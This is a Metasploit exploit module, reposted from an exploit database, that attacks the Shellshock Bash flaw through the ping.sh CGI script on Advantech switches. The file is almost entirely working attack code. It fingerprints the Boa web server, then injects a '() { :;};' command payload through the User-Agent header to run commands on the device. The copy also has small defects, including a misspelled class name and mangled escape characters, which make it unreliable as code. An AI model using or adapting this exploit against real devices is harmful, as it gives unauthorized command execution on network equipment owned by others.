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# Advantech Switch Bash Environment Variable Code Injection Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',
'Description' => %q{
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
handles external environment variables. This module targets the 'ping.sh' CGI
script, acessible through the Boa web server on Advantech switches. This module
was tested against firmware version 1322_D1.98.
},
'Author' => 'hdm',
'References' => [
['CVE', '2014-6271'],
['CWE', '94'],
['OSVDB', '112004'],
['EDB', '34765'],
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities'],
['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1024,
'BadChars' => "x00x0Ax0D",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl generic'
}
},
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 01 2015'
))
register_options([
Opt::RPORT(80)
], self.class)
end

#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; $(#{cmd}) & }
end

#
# Check credentials
#
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/ping.sh'
)
if !res
vprint_error("#{peer} - No response from host")
return Exploit::CheckCode::Unknown
elsif res.headers['Server'] =~ /Boa/(.*)/
vprint_status("#{peer} - Found Boa version #{$1}")
else
print_status("#{peer} - Target is not a Boa web server")
return Exploit::CheckCode::Safe
end

if res.body.to_s.index('127.0.0.1 ping statistics')
return Exploit::CheckCode::Detected
else
vprint_error("#{peer} - Target does not appear to be an Advantech switch")
return Expoit::CheckCode::Safe
end
end

#
# Exploit
#
def exploit
cmd = cve_2014_6271(payload.encoded)
vprint_status("#{peer} - Trying to run command '#{cmd}'")
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/ping.sh',
'agent' => cmd
)
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-12-04]

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